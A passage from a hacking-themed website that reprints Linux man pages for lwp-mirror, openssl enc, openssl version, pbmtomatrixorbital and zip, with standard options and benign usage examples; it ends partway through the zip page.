              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1529 - Linux cli command lwp-mirrorp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lwp-mirrorp and provides detailed information about the command lwp-mirrorp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lwp-mirrorp.

NAME 🖥️ lwp-mirrorp 🖥️

mirror - Simple mirror utility

SYNOPSIS

lwp-mirror [-v] [-t timeout] <url> <local file>

DESCRIPTION

This program can be used to mirror a document from a WWW server. The document is only transferred if the remote copy is newer than the local copy. If the local copy is newer nothing happens.

Use the -v option to print the version number of this program.

The timeout value specified with the -t option. The timeout value is the time that the program will wait for response from the remote server before it fails. The default unit for the timeout value is seconds. You might append “m” or “h” to the timeout value to make it minutes or hours, respectively.

Because this program is implemented using the LWP library, it only supports the protocols that LWP supports.

SEE ALSO

lwp-request, LWP

AUTHOR

Gisle Aas <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1530 - Linux cli command openssl-encssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-encssl and provides detailed information about the command openssl-encssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-encssl.

NAME 🖥️ openssl-encssl 🖥️

enc - symmetric cipher routines

SYNOPSIS

openssl enc|cipher [-cipher] [-help] [-list] [-ciphers] [-in filename] [-out filename] [-pass arg] [-e] [-d] [-a] [-base64] [-A] [-k password] [-kfile filename] [-K key] [-iv IV] [-S salt] [-salt] [-nosalt] [-z] [-md digest] [-iter count] [-pbkdf2] [-saltlen size] [-p] [-P] [-bufsize number] [-nopad] [-v] [-debug] [-none] [-engine id] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq]

openssl cipher []

DESCRIPTION

The symmetric cipher commands allow data to be encrypted or decrypted using various block and stream ciphers using keys based on passwords or explicitly provided. Base64 encoding or decoding can also be performed either by itself or in addition to the encryption or decryption.

OPTIONS

-cipher
The cipher to use.

-help
Print out a usage message.

-list
List all supported ciphers.

-ciphers
Alias of -list to display all supported ciphers.

-in filename
The input filename, standard input by default.

-out filename
The output filename, standard output by default.

-pass arg
The password source. For more information about the format of arg see openssl-passphrase-options (1).

-e
Encrypt the input data: this is the default.

-d
Decrypt the input data.

-a
Base64 process the data. This means that if encryption is taking place the data is base64 encoded after encryption. If decryption is set then the input data is base64 decoded before being decrypted.

-base64
Same as -a

-A
If the -a option is set then base64 process the data on one line.

-k password
The password to derive the key from. This is for compatibility with previous versions of OpenSSL. Superseded by the -pass argument.

-kfile filename
Read the password to derive the key from the first line of filename. This is for compatibility with previous versions of OpenSSL. Superseded by the -pass argument.

-md digest
Use the specified digest to create the key from the passphrase. The default algorithm is sha-256.

-iter count
Use a given number of iterations on the password in deriving the encryption key. High values increase the time required to brute-force the resulting file. This option enables the use of PBKDF2 algorithm to derive the key.

-pbkdf2
Use PBKDF2 algorithm with a default iteration count of 10000 unless otherwise specified by the -iter command line option.

-saltlen
Set the salt length to use when using the -pbkdf2 option. For compatibility reasons, the default is 8 bytes. The maximum value is currently 16 bytes. If the -pbkdf2 option is not used, then this option is ignored and a fixed salt length of 8 is used. The salt length used when encrypting must also be used when decrypting.

-nosalt
Don’t use a salt in the key derivation routines. This option SHOULD NOT be used except for test purposes or compatibility with ancient versions of OpenSSL.

-salt
Use salt (randomly generated or provide with -S option) when encrypting, this is the default.

-S salt
The actual salt to use: this must be represented as a string of hex digits. If this option is used while encrypting, the same exact value will be needed again during decryption. This salt may be truncated or zero padded to match the salt length (See -saltlen).

-K key
The actual key to use: this must be represented as a string comprised only of hex digits. If only the key is specified, the IV must additionally specified using the -iv option. When both a key and a password are specified, the key given with the -K option will be used and the IV generated from the password will be taken. It does not make much sense to specify both key and password.

-iv IV
The actual IV to use: this must be represented as a string comprised only of hex digits. When only the key is specified using the -K option, the IV must explicitly be defined. When a password is being specified using one of the other options, the IV is generated from this password.

-p
Print out the key and IV used.

-P
Print out the key and IV used then immediately exit: don’t do any encryption or decryption.

-bufsize number
Set the buffer size for I/O.

-nopad
Disable standard block padding.

-v
Verbose print; display some statistics about I/O and buffer sizes.

-debug
Debug the BIOs used for I/O.

-z
Compress or decompress encrypted data using zlib after encryption or before decryption. This option exists only if OpenSSL was compiled with the zlib or zlib-dynamic option.

-none
Use NULL cipher (no encryption or decryption of input).

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

NOTES

The program can be called either as openssl cipher or openssl enc -cipher. The first form doesn’t work with engine-provided ciphers, because this form is processed before the configuration file is read and any ENGINEs loaded. Use the openssl-list (1) command to get a list of supported ciphers.

Engines which provide entirely new encryption algorithms (such as the ccgost engine which provides gost89 algorithm) should be configured in the configuration file. Engines specified on the command line using -engine option can only be used for hardware-assisted implementations of ciphers which are supported by the OpenSSL core or another engine specified in the configuration file.

When the enc command lists supported ciphers, ciphers provided by engines, specified in the configuration files are listed too.

A password will be prompted for to derive the key and IV if necessary.

The -salt option should ALWAYS be used if the key is being derived from a password unless you want compatibility with previous versions of OpenSSL.

Without the -salt option it is possible to perform efficient dictionary attacks on the password and to attack stream cipher encrypted data. The reason for this is that without the salt the same password always generates the same encryption key.

When the salt is generated at random (that means when encrypting using a passphrase without explicit salt given using -S option), the first bytes of the encrypted data are reserved to store the salt for later decrypting.

Some of the ciphers do not have large keys and others have security implications if not used correctly. A beginner is advised to just use a strong block cipher, such as AES, in CBC mode.

All the block ciphers normally use PKCS#5 padding, also known as standard block padding. This allows a rudimentary integrity or password check to be performed. However, since the chance of random data passing the test is better than 1 in 256 it isn’t a very good test.

If padding is disabled then the input data must be a multiple of the cipher block length.

All RC2 ciphers have the same key and effective key length.

Blowfish and RC5 algorithms use a 128 bit key.

Please note that OpenSSL 3.0 changed the effect of the -S option. Any explicit salt value specified via this option is no longer prepended to the ciphertext when encrypting, and must again be explicitly provided when decrypting. Conversely, when the -S option is used during decryption, the ciphertext is expected to not have a prepended salt value.

When using OpenSSL 3.0 or later to decrypt data that was encrypted with an explicit salt under OpenSSL 1.1.1 do not use the -S option, the salt will then be read from the ciphertext. To generate ciphertext that can be decrypted with OpenSSL 1.1.1 do not use the -S option, the salt will be then be generated randomly and prepended to the output.

SUPPORTED CIPHERS

Note that some of these ciphers can be disabled at compile time and some are available only if an appropriate engine is configured in the configuration file. The output when invoking this command with the -list option (that is openssl enc -list) is a list of ciphers, supported by your version of OpenSSL, including ones provided by configured engines.

This command does not support authenticated encryption modes like CCM and GCM, and will not support such modes in the future. This is due to having to begin streaming output (e.g., to standard output when -out is not used) before the authentication tag could be validated. When this command is used in a pipeline, the receiving end will not be able to roll back upon authentication failure. The AEAD modes currently in common use also suffer from catastrophic failure of confidentiality and/or integrity upon reuse of key/iv/nonce, and since openssl enc places the entire burden of key/iv/nonce management upon the user, the risk of exposing AEAD modes is too great to allow. These key/iv/nonce management issues also affect other modes currently exposed in this command, but the failure modes are less extreme in these cases, and the functionality cannot be removed with a stable release branch. For bulk encryption of data, whether using authenticated encryption modes or other modes, openssl-cms (1) is recommended, as it provides a standard data format and performs the needed key/iv/nonce management.

When enc is used with key wrapping modes the input data cannot be streamed, meaning it must be processed in a single pass. Consequently, the input data size must be less than the buffer size (-bufsize arg, default to 8*1024 bytes). The ‘*-wrap’ ciphers require the input to be a multiple of 8 bytes long, because no padding is involved. The ‘*-wrap-pad’ ciphers allow any input length. In both cases, no IV is needed. See example below.

base64 Base 64 bf-cbc Blowfish in CBC mode bf Alias for bf-cbc blowfish Alias for bf-cbc bf-cfb Blowfish in CFB mode bf-ecb Blowfish in ECB mode bf-ofb Blowfish in OFB mode cast-cbc CAST in CBC mode cast Alias for cast-cbc cast5-cbc CAST5 in CBC mode cast5-cfb CAST5 in CFB mode cast5-ecb CAST5 in ECB mode cast5-ofb CAST5 in OFB mode chacha20 ChaCha20 algorithm des-cbc DES in CBC mode des Alias for des-cbc des-cfb DES in CFB mode des-ofb DES in OFB mode des-ecb DES in ECB mode des-ede-cbc Two key triple DES EDE in CBC mode des-ede Two key triple DES EDE in ECB mode des-ede-cfb Two key triple DES EDE in CFB mode des-ede-ofb Two key triple DES EDE in OFB mode des-ede3-cbc Three key triple DES EDE in CBC mode des-ede3 Three key triple DES EDE in ECB mode des3 Alias for des-ede3-cbc des-ede3-cfb Three key triple DES EDE CFB mode des-ede3-ofb Three key triple DES EDE in OFB mode desx DESX algorithm. gost89 GOST 28147-89 in CFB mode (provided by ccgost engine) gost89-cnt GOST 28147-89 in CNT mode (provided by ccgost engine) idea-cbc IDEA algorithm in CBC mode idea same as idea-cbc idea-cfb IDEA in CFB mode idea-ecb IDEA in ECB mode idea-ofb IDEA in OFB mode rc2-cbc 128 bit RC2 in CBC mode rc2 Alias for rc2-cbc rc2-cfb 128 bit RC2 in CFB mode rc2-ecb 128 bit RC2 in ECB mode rc2-ofb 128 bit RC2 in OFB mode rc2-64-cbc 64 bit RC2 in CBC mode rc2-40-cbc 40 bit RC2 in CBC mode rc4 128 bit RC4 rc4-64 64 bit RC4 rc4-40 40 bit RC4 rc5-cbc RC5 cipher in CBC mode rc5 Alias for rc5-cbc rc5-cfb RC5 cipher in CFB mode rc5-ecb RC5 cipher in ECB mode rc5-ofb RC5 cipher in OFB mode seed-cbc SEED cipher in CBC mode seed Alias for seed-cbc seed-cfb SEED cipher in CFB mode seed-ecb SEED cipher in ECB mode seed-ofb SEED cipher in OFB mode sm4-cbc SM4 cipher in CBC mode sm4 Alias for sm4-cbc sm4-cfb SM4 cipher in CFB mode sm4-ctr SM4 cipher in CTR mode sm4-ecb SM4 cipher in ECB mode sm4-ofb SM4 cipher in OFB mode aes-[128|192|256]-cbc 128/192/256 bit AES in CBC mode aes[128|192|256] Alias for aes-[128|192|256]-cbc aes-[128|192|256]-cfb 128/192/256 bit AES in 128 bit CFB mode aes-[128|192|256]-cfb1 128/192/256 bit AES in 1 bit CFB mode aes-[128|192|256]-cfb8 128/192/256 bit AES in 8 bit CFB mode aes-[128|192|256]-ctr 128/192/256 bit AES in CTR mode aes-[128|192|256]-ecb 128/192/256 bit AES in ECB mode aes-[128|192|256]-ofb 128/192/256 bit AES in OFB mode aes-[128|192|256]-wrap key wrapping using 128/192/256 bit AES aes-[128|192|256]-wrap-pad key wrapping with padding using 128/192/256 bit AES aria-[128|192|256]-cbc 128/192/256 bit ARIA in CBC mode aria[128|192|256] Alias for aria-[128|192|256]-cbc aria-[128|192|256]-cfb 128/192/256 bit ARIA in 128 bit CFB mode aria-[128|192|256]-cfb1 128/192/256 bit ARIA in 1 bit CFB mode aria-[128|192|256]-cfb8 128/192/256 bit ARIA in 8 bit CFB mode aria-[128|192|256]-ctr 128/192/256 bit ARIA in CTR mode aria-[128|192|256]-ecb 128/192/256 bit ARIA in ECB mode aria-[128|192|256]-ofb 128/192/256 bit ARIA in OFB mode camellia-[128|192|256]-cbc 128/192/256 bit Camellia in CBC mode camellia[128|192|256] Alias for camellia-[128|192|256]-cbc camellia-[128|192|256]-cfb 128/192/256 bit Camellia in 128 bit CFB mode camellia-[128|192|256]-cfb1 128/192/256 bit Camellia in 1 bit CFB mode camellia-[128|192|256]-cfb8 128/192/256 bit Camellia in 8 bit CFB mode camellia-[128|192|256]-ctr 128/192/256 bit Camellia in CTR mode camellia-[128|192|256]-ecb 128/192/256 bit Camellia in ECB mode camellia-[128|192|256]-ofb 128/192/256 bit Camellia in OFB mode

EXAMPLES

Just base64 encode a binary file:

openssl base64 -in file.bin -out file.b64

Decode the same file

openssl base64 -d -in file.b64 -out file.bin

Encrypt a file using AES-128 using a prompted password and PBKDF2 key derivation:

openssl enc -aes128 -pbkdf2 -in file.txt -out file.aes128

Decrypt a file using a supplied password:

openssl enc -aes128 -pbkdf2 -d -in file.aes128 -out file.txt \ -pass pass:<password>

Encrypt a file then base64 encode it (so it can be sent via mail for example) using AES-256 in CTR mode and PBKDF2 key derivation:

openssl enc -aes-256-ctr -pbkdf2 -a -in file.txt -out file.aes256

Base64 decode a file then decrypt it using a password supplied in a file:

openssl enc -aes-256-ctr -pbkdf2 -d -a -in file.aes256 -out file.txt \ -pass file:<passfile>

AES key wrapping:

openssl enc -e -a -id-aes128-wrap-pad -K 000102030405060708090A0B0C0D0E0F -in file.bin or openssl aes128-wrap-pad -e -a -K 000102030405060708090A0B0C0D0E0F -in file.bin

BUGS

The -A option when used with large files doesn’t work properly.

The openssl enc command only supports a fixed number of algorithms with certain parameters. So if, for example, you want to use RC2 with a 76 bit key or RC4 with an 84 bit key you can’t use this program.

HISTORY

The default digest was changed from MD5 to SHA256 in OpenSSL 1.1.0.

The -list option was added in OpenSSL 1.1.1e.

The -ciphers and -engine options were deprecated in OpenSSL 3.0.

The -saltlen option was added in OpenSSL 3.2.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1531 - Linux cli command openssl-versionssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-versionssl and provides detailed information about the command openssl-versionssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-versionssl.

NAME 🖥️ openssl-versionssl 🖥️

version - print OpenSSL version information

SYNOPSIS

openssl version [-help] [-a] [-v] [-b] [-o] [-f] [-p] [-d] [-e] [-m] [-r] [-c]

DESCRIPTION

This command is used to print out version information about OpenSSL.

OPTIONS

-help
Print out a usage message.

-a
All information, this is the same as setting all the other flags.

-v
The current OpenSSL version.

-b
The date the current version of OpenSSL was built.

-o
Option information: various options set when the library was built.

-f
Compilation flags.

-p
Platform setting.

-d
OPENSSLDIR setting.

-e
ENGINESDIR settings.

-m
MODULESDIR settings.

-r
The random number generator source settings.

-c
The OpenSSL CPU settings info.

NOTES

The output of openssl version -a would typically be used when sending in a bug report.

COPYRIGHT

Copyright 2000-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1532 - Linux cli command pbmtomatrixorbital

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtomatrixorbital and provides detailed information about the command pbmtomatrixorbital, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtomatrixorbital.

.

NAME 🖥️ pbmtomatrixorbital 🖥️

convert a PBM image to a Matrix Orbital LCD image

SYNOPSIS

pbmtomatrixorbital

[pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtomatrixorbital reads a PBM image as input and produces as output an image that can be uploaded to a Matrix Orbital LCD display.

You can upload the image to the LCD via the serial port to which it is connected with the program mo-upload.pl, which you can get from the package pbmtomatrixorbital. Yes, the package is the same name as this Netpbm program, and it contains its own pbmtomatrixorbital program which is slightly different from this one because it is not part of the Netpbm package.

OPTIONS

There are no command line options defined specifically for pbmtomatrixorbital, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

HISTORY

pbmtomatrixorbital was added to Netpbm in Release 10.18 (September 2003).

SEE ALSO

pbmtox10bm(1) , xbmtopbm(1) , pbm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtomatrixorbital.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1533 - Linux cli command zip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zip and provides detailed information about the command zip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zip.

NAME 🖥️ zip 🖥️

package and compress (archive) files

SYNOPSIS

zip [-aABcdDeEfFghjklLmoqrRSTuvVwXyz!@$] [–longoption …] [-b path] [-n suffixes] [-t date] [-tt date] [zipfile [file . . .]] [-xi list]

zipcloak (see separate man page)

zipnote (see separate man page)

zipsplit (see separate man page)

Note: Command line processing in zip has been changed to support long options and handle all options and arguments more consistently. Some old command lines that depend on command line inconsistencies may no longer work.

DESCRIPTION

zip is a compression and file packaging utility for Unix, VMS, MSDOS, OS/2, Windows 9x/NT/XP, Minix, Atari, Macintosh, Amiga, and Acorn RISC OS. It is analogous to a combination of the Unix commands tar(1) and compress(1) and is compatible with PKZIP (Phil Katz’s ZIP for MSDOS systems).

A companion program (unzip(1)) unpacks zip archives. The zip and unzip(1) programs can work with archives produced by PKZIP (supporting most PKZIP features up to PKZIP version 4.6), and PKZIP and PKUNZIP can work with archives produced by zip (with some exceptions, notably streamed archives, but recent changes in the zip file standard may facilitate better compatibility). zip version 3.0 is compatible with PKZIP 2.04 and also supports the Zip64 extensions of PKZIP 4.5 which allow archives as well as files to exceed the previous 2 GB limit (4 GB in some cases). zip also now supports bzip2 compression if the bzip2 library is included when zip is compiled. Note that PKUNZIP 1.10 cannot extract files produced by PKZIP 2.04 or zip 3.0. You must use PKUNZIP 2.04g or unzip 5.0p1 (or later versions) to extract them.

See the EXAMPLES section at the bottom of this page for examples of some typical uses of zip.

Large Archives and Zip64. zip automatically uses the Zip64 extensions when files larger than 4 GB are added to an archive, an archive containing Zip64 entries is updated (if the resulting archive still needs Zip64), the size of the archive will exceed 4 GB, or when the number of entries in the archive will exceed about 64K. Zip64 is also used for archives streamed from standard input as the size of such archives are not known in advance, but the option -fz- can be used to force zip to create PKZIP 2 compatible archives (as long as Zip64 extensions are not needed). You must use a PKZIP 4.5 compatible unzip, such as unzip 6.0 or later, to extract files using the Zip64 extensions.

In addition, streamed archives, entries encrypted with standard encryption, or split archives created with the pause option may not be compatible with PKZIP as data descriptors are used and PKZIP at the time of this writing does not support data descriptors (but recent changes in the PKWare published zip standard now include some support for the data descriptor format zip uses).

Mac OS X. Though previous Mac versions had their own zip port, zip supports Mac OS X as part of the Unix port and most Unix features apply. References to “MacOS” below generally refer to MacOS versions older than OS X. Support for some Mac OS features in the Unix Mac OS X port, such as resource forks, is expected in the next zip release.

For a brief help on zip and unzip, run each without specifying any parameters on the command line.

USE

The program is useful for packaging a set of files for distribution; for archiving files; and for saving disk space by temporarily compressing unused files or directories.

The zip program puts one or more compressed files into a single zip archive, along with information about the files (name, path, date, time of last modification, protection, and check information to verify file integrity). An entire directory structure can be packed into a zip archive with a single command. Compression ratios of 2:1 to 3:1 are common for text files. zip has one compression method (deflation) and can also store files without compression. (If bzip2 support is added, zip can also compress using bzip2 compression, but such entries require a reasonably modern unzip to decompress. When bzip2 compression is selected, it replaces deflation as the default method.) zip automatically chooses the better of the two (deflation or store or, if bzip2 is selected, bzip2 or store) for each file to be compressed.

Command format. The basic command format is

zip options archive inpath inpath …

where archive is a new or existing zip archive and inpath is a directory or file path optionally including wildcards. When given the name of an existing zip archive, zip will replace identically named entries in the zip archive (matching the relative names as stored in the archive) or add entries for new names. For example, if foo.zip exists and contains foo/file1 and foo/file2, and the directory foo contains the files foo/file1 and foo/file3, then:

zip -r foo.zip foo

or more concisely

zip -r foo foo

will replace foo/file1 in foo.zip and add foo/file3 to foo.zip. After this, foo.zip contains foo/file1, foo/file2, and foo/file3, with foo/file2 unchanged from before.

So if before the zip command is executed foo.zip has:

foo/file1 foo/file2

and directory foo has:

file1 file3

then foo.zip will have:

foo/file1 foo/file2 foo/file3

where foo/file1 is replaced and foo/file3 is new.

-@ file lists. If a file list is specified as -@ [Not on MacOS], zip takes the list of input files from standard input instead of from the command line. For example,

zip -@ foo

will store the files listed one per line on stdin in foo.zip.

Under Unix, this option can be used to powerful effect in conjunction with the find (1) command. For example, to archive all the C source files in the current directory and its subdirectories:

find . -name "*.[ch]" -print | zip source -@

(note that the pattern must be quoted to keep the shell from expanding it).

Streaming input and output. zip will also accept a single dash ("-") as the zip file name, in which case it will write the zip file to standard output, allowing the output to be piped to another program. For example:

zip -r - . | dd of=/dev/nrst0 obs=16k

would write the zip output directly to a tape with the specified block size for the purpose of backing up the current directory.

zip also accepts a single dash ("-") as the name of a file to be compressed, in which case it will read the file from standard input, allowing zip to take input from another program. For example:

tar cf - . | zip backup -

would compress the output of the tar command for the purpose of backing up the current directory. This generally produces better compression than the previous example using the -r option because zip can take advantage of redundancy between files. The backup can be restored using the command

unzip -p backup | tar xf -

When no zip file name is given and stdout is not a terminal, zip acts as a filter, compressing standard input to standard output. For example,

tar cf - . | zip | dd of=/dev/nrst0 obs=16k

is equivalent to

tar cf - . | zip - - | dd of=/dev/nrst0 obs=16k

zip archives created in this manner can be extracted with the program funzip which is provided in the unzip package, or by gunzip which is provided in the gzip package (but some gunzip may not support this if zip used the Zip64 extensions). For example:

dd if=/dev/nrst0 ibs=16k | funzip | tar xvf -

The stream can also be saved to a file and unzip used.

If Zip64 support for large files and archives is enabled and zip is used as a filter, zip creates a Zip64 archive that requires a PKZIP 4.5 or later compatible unzip to read it. This is to avoid ambiguities in the zip file structure as defined in the current zip standard (PKWARE AppNote) where the decision to use Zip64 needs to be made before data is written for the entry, but for a stream the size of the data is not known at that point. If the data is known to be smaller than 4 GB, the option -fz- can be used to prevent use of Zip64, but zip will exit with an error if Zip64 was in fact needed. zip 3 and unzip 6 and later can read archives with Zip64 entries. Also, zip removes the Zip64 extensions if not needed when archive entries are copied (see the -U (–copy) option).

When directing the output to another file, note that all options should be before the redirection including -x. For example:

zip archive “*.h” “*.c” -x donotinclude.h orthis.h > tofile

Zip files. When changing an existing zip archive, zip will write a temporary file with the new contents, and only replace the old one when the process of creating the new version has been completed without error.

If the name of the zip archive does not contain an extension, the extension .zip is added. If the name already contains an extension other than .zip, the existing extension is kept unchanged. However, split archives (archives split over multiple files) require the .zip extension on the last split.

Scanning and reading files. When zip starts, it scans for files to process (if needed). If this scan takes longer than about 5 seconds, zip will display a “Scanning files” message and start displaying progress dots every 2 seconds or every so many entries processed, whichever takes longer. If there is more than 2 seconds between dots it could indicate that finding each file is taking time and could mean a slow network connection for example. (Actually the initial file scan is a two-step process where the directory scan is followed by a sort and these two steps are separated with a space in the dots. If updating an existing archive, a space also appears between the existing file scan and the new file scan.) The scanning files dots are not controlled by the -ds dot size option, but the dots are turned off by the -q quiet option. The -sf show files option can be used to scan for files and get the list of files scanned without actually processing them.

If zip is not able to read a file, it issues a warning but continues. See the -MM option below for more on how zip handles patterns that are not matched and files that are not readable. If some files were skipped, a warning is issued at the end of the zip operation noting how many files were read and how many skipped.

Command modes. zip now supports two distinct types of command modes, external and internal. The external modes (add, update, and freshen) read files from the file system (as well as from an existing archive) while the internal modes (delete and copy) operate exclusively on entries in an existing archive.

**add **
Update existing entries and add new files. If the archive does not exist create it. This is the default mode.

update (-u)
Update existing entries if newer on the file system and add new files. If the archive does not exist issue warning then create a new archive.

freshen (-f)
Update existing entries of an archive if newer on the file system. Does not add new files to the archive.

delete (-d)
Select entries in an existing archive and delete them.

copy (-U)
Select entries in an existing archive and copy them to a new archive. This new mode is similar to update but command line patterns select entries in the existing archive rather than files from the file system and it uses the –out option to write the resulting archive to a new file rather than update the existing archive, leaving the original archive unchanged.

The new File Sync option (-FS) is also considered a new mode, though it is similar to update. This mode synchronizes the archive with the files on the OS, only replacing files in the archive if the file time or size of the OS file is different, adding new files, and deleting entries from the archive where there is no matching file. As this mode can delete entries from the archive, consider making a backup copy of the archive.

Also see -DF for creating difference archives.

See each option description below for details and the EXAMPLES section below for examples.

Split archives. zip version 3.0 and later can create split archives. A split archive is a standard zip archive split over multiple files. (Note that split archives are not just archives split in to pieces, as the offsets of entries are now based on the start of each split. Concatenating the pieces together will invalidate these offsets, but unzip can usually deal with it. zip will usually refuse to process such a spliced archive unless the -FF fix option is used to fix the offsets.)

One use of split archives is storing a large archive on multiple removable media. For a split archive with 20 split files the files are typically named (replace ARCHIVE with the name of your archive) ARCHIVE.z01, ARCHIVE.z02, …, ARCHIVE.z19, ARCHIVE.zip. Note that the last file is the .zip file. In contrast, spanned archives are the original multi-disk archive generally requiring floppy disks and using volume labels to store disk numbers. zip supports split archives but not spanned archives, though a procedure exists for converting split archives of the right size to spanned archives. The reverse is also true, where each file of a spanned archive can be copied in order to files with the above names to create a split archive.

Use -s to set the split size and create a split archive. The size is given as a number followed optionally by one of k (kB), m (MB), g (GB), or t (TB) (the default is m). The -sp option can be used to pause zip between splits to allow changing removable media, for example, but read the descriptions and warnings for both -s and -sp below.

Though zip does not update split archives, zip provides the new option -O (–output-file or –out) to allow split archives to be updated and saved in a new archive. For example,

zip inarchive.zip foo.c bar.c --out outarchive.zip

